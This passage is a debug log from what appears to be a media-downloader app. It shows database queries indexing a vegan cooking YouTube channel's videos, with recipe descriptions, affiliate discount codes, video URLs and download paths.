https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This tofu recipe makes the CRISPIEST rice paper dumplings!", 1, nil, false, "uBvZKyr_MOw", "https://www.youtube.com/watch?v=uBvZKyr_MOw", "/downloads/downloads/alec/Steamy Vegan/2026-02-14 This tofu recipe makes the CRISPIEST rice paper dumplings!/This tofu recipe makes the CRISPIEST rice paper dumplings! [uBvZKyr_MOw].NA", false, ~U[2026-02-14 00:00:00Z]] 20:31:06.226 [debug] QUERY OK source="sources" db=1.2ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.228 [debug] QUERY OK source="media_items" db=2.4ms idle=9.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-11 00:00:00Z], 1] 20:31:06.231 [debug] QUERY OK source="media_items" db=1.6ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis TVP recipe can be used in so many delicious vegan meals like pastas, pizzas, sauces, salads and more! Vegan sausage is one of my favourite plant based proteins to make as it's easy to prepare, great for meal prep, and very budget-friendly! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet my Vegan Sausage Crumbles recipe on my blog! ➡️ https://steamyvegan.com/vegan-sausage...\nPS: Love pizza? These sausage crumbles are excellent on my Lentil Pizza Crusts! ➡️ \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n\nCheck out these TVP recipes on my channel: \nVegan Sausage & Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Ginger Beef Stir Fry: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\nMapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nThe Best Vegan Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n\nTyphur Air Fryer (used in this recipe)\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nWebsite: typhur.sjv.io/steamyvegan\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This TVP recipe makes the BEST vegan sausage!", "c59705de-1e7c-437f-b5ad-d2b03f09d71a", 1, [], false, "-RmE8zBhrR0", "https://www.youtube.com/watch?v=-RmE8zBhrR0", 14, "/downloads/downloads/alec/Steamy Vegan/2026-02-11 This TVP recipe makes the BEST vegan sausage!/This TVP recipe makes the BEST vegan sausage! [-RmE8zBhrR0].NA", false, false, false, 1, ~U[2026-02-11 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis TVP recipe can be used in so many delicious vegan meals like pastas, pizzas, sauces, salads and more! Vegan sausage is one of my favourite plant based proteins to make as it's easy to prepare, great for meal prep, and very budget-friendly! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet my Vegan Sausage Crumbles recipe on my blog! ➡️ https://steamyvegan.com/vegan-sausage...\nPS: Love pizza? These sausage crumbles are excellent on my Lentil Pizza Crusts! ➡️ \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n\nCheck out these TVP recipes on my channel: \nVegan Sausage & Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Ginger Beef Stir Fry: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\nMapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nThe Best Vegan Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n\nTyphur Air Fryer (used in this recipe)\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nWebsite: typhur.sjv.io/steamyvegan\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This TVP recipe makes the BEST vegan sausage!", 1, nil, false, "-RmE8zBhrR0", "https://www.youtube.com/watch?v=-RmE8zBhrR0", "/downloads/downloads/alec/Steamy Vegan/2026-02-11 This TVP recipe makes the BEST vegan sausage!/This TVP recipe makes the BEST vegan sausage! [-RmE8zBhrR0].NA", false, ~U[2026-02-11 00:00:00Z]] 20:31:06.231 [debug] QUERY OK source="sources" db=0.5ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.233 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-09 00:00:00Z], 1] 20:31:06.235 [debug] QUERY OK source="media_items" db=1.1ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil recipe can be used in so many dishes like tacos, healthy bowls, or just as a crispy crunchy vegan snack. These lentil patties are gluten-free, high-protein, and I have 2 cooking methods (air fried, or pan fried) and 2 flavours. Plus stay tuned for a bonus dipping sauce that I love making for these. Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet my Lentil Patties recipe on my blog! ➡️ https://steamyvegan.com/lentil-patties/\n\nCheck out these recent lentil recipes on my channel: \nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n5 Lentil Recipes I Make on Repeat: \u00A0\u00A0\u00A0•\u00A05\u00A0lentil\u00A0recipes\u00A0I\u00A0eat\u00A0EVERY\u00A0month\u00A0(and\u00A0so...\u00A0\u00A0\n\nTyphur Air Fryer (used in this recipe)\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nWebsite: typhur.sjv.io/steamyvegan\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This lentil recipe makes the BEST crispy patties", "dbf44a82-5d9a-45d6-b1cb-39830bb37579", 1, [], false, "bOvvTG0y990", "https://www.youtube.com/watch?v=bOvvTG0y990", 15, "/downloads/downloads/alec/Steamy Vegan/2026-02-09 This lentil recipe makes the BEST crispy patties/This lentil recipe makes the BEST crispy patties [bOvvTG0y990].NA", false, false, false, 1, ~U[2026-02-09 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil recipe can be used in so many dishes like tacos, healthy bowls, or just as a crispy crunchy vegan snack. These lentil patties are gluten-free, high-protein, and I have 2 cooking methods (air fried, or pan fried) and 2 flavours. Plus stay tuned for a bonus dipping sauce that I love making for these. Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet my Lentil Patties recipe on my blog! ➡️ https://steamyvegan.com/lentil-patties/\n\nCheck out these recent lentil recipes on my channel: \nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n5 Lentil Recipes I Make on Repeat: \u00A0\u00A0\u00A0•\u00A05\u00A0lentil\u00A0recipes\u00A0I\u00A0eat\u00A0EVERY\u00A0month\u00A0(and\u00A0so...\u00A0\u00A0\n\nTyphur Air Fryer (used in this recipe)\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nWebsite: typhur.sjv.io/steamyvegan\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This lentil recipe makes the BEST crispy patties", 1, nil, false, "bOvvTG0y990", "https://www.youtube.com/watch?v=bOvvTG0y990", "/downloads/downloads/alec/Steamy Vegan/2026-02-09 This lentil recipe makes the BEST crispy patties/This lentil recipe makes the BEST crispy patties [bOvvTG0y990].NA", false, ~U[2026-02-09 00:00:00Z]] 20:31:06.236 [debug] QUERY OK source="sources" db=0.7ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.238 [debug] QUERY OK source="media_items" db=1.9ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-05 00:00:00Z], 1] 20:31:06.239 [debug] QUERY OK source="media_items" db=1.0ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil waffle recipe is high protein and is a super easy recipe as it only uses a couple of ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you're looking for a high protein, vegan and gluten-free waffle then you'll love this recipe!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Waffle recipe on my blog! ➡️ https://steamyvegan.com/lentil-waffles/\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n5 Lentil Recipes I Make on Repeat: \u00A0\u00A0\u00A0•\u00A05\u00A0lentil\u00A0recipes\u00A0I\u00A0eat\u00A0EVERY\u00A0month\u00A0(and\u00A0so...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "These healthy waffles are made from LENTILS", "fc05ab13-dfdf-4e74-a508-4035961b107b", 1, [], false, "znw_6AMFMDU", "https://www.youtube.com/watch?v=znw_6AMFMDU", 16, "/downloads/downloads/alec/Steamy Vegan/2026-02-05 These healthy waffles are made from LENTILS/These healthy waffles are made from LENTILS [znw_6AMFMDU].NA", false, false, false, 1, ~U[2026-02-05 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil waffle recipe is high protein and is a super easy recipe as it only uses a couple of ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you're looking for a high protein, vegan and gluten-free waffle then you'll love this recipe!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Waffle recipe on my blog! ➡️ https://steamyvegan.com/lentil-waffles/\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n5 Lentil Recipes I Make on Repeat: \u00A0\u00A0\u00A0•\u00A05\u00A0lentil\u00A0recipes\u00A0I\u00A0eat\u00A0EVERY\u00A0month\u00A0(and\u00A0so...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "These healthy waffles are made from LENTILS", 1, nil, false, "znw_6AMFMDU", "https://www.youtube.com/watch?v=znw_6AMFMDU", "/downloads/downloads/alec/Steamy Vegan/2026-02-05 These healthy waffles are made from LENTILS/These healthy waffles are made from LENTILS [znw_6AMFMDU].NA", false, ~U[2026-02-05 00:00:00Z]] 20:31:06.241 [debug] QUERY OK source="sources" db=0.7ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.243 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-01 00:00:00Z], 1] 20:31:06.245 [debug] QUERY OK source="media_items" db=1.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil crust pizza recipe is high protein and only uses 5 ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you love protein pizza, this lentil recipe will be a new fave!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Pizza Crust recipe on my blog! ➡️ https://steamyvegan.com/lentil-pizza-...\nBONUS Pickled Red Onions recipe ➡️ https://steamyvegan.com/pickled-red-o...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Meatballs: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0is\u00A0a\u00A0MUST\u00A0TRY\u00A0(no\u00A0tofu,...\u00A0\u00A0\nLentil Bolognese: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\nLasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video for teh Bolognese):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This lentil recipe makes the BEST pizza crust", "ddccef23-e195-4261-aa03-bf04a73b3beb", 1, [], false, "lGuRjA8enRc", "https://www.youtube.com/watch?v=lGuRjA8enRc", 17, "/downloads/downloads/alec/Steamy Vegan/2026-02-01 This lentil recipe makes the BEST pizza crust/This lentil recipe makes the BEST pizza crust [lGuRjA8enRc].NA", false, false, false, 1, ~U[2026-02-01 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil crust pizza recipe is high protein and only uses 5 ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you love protein pizza, this lentil recipe will be a new fave!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Pizza Crust recipe on my blog! ➡️ https://steamyvegan.com/lentil-pizza-...\nBONUS Pickled Red Onions recipe ➡️ https://steamyvegan.com/pickled-red-o...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out these other lentil recipes on my channel: 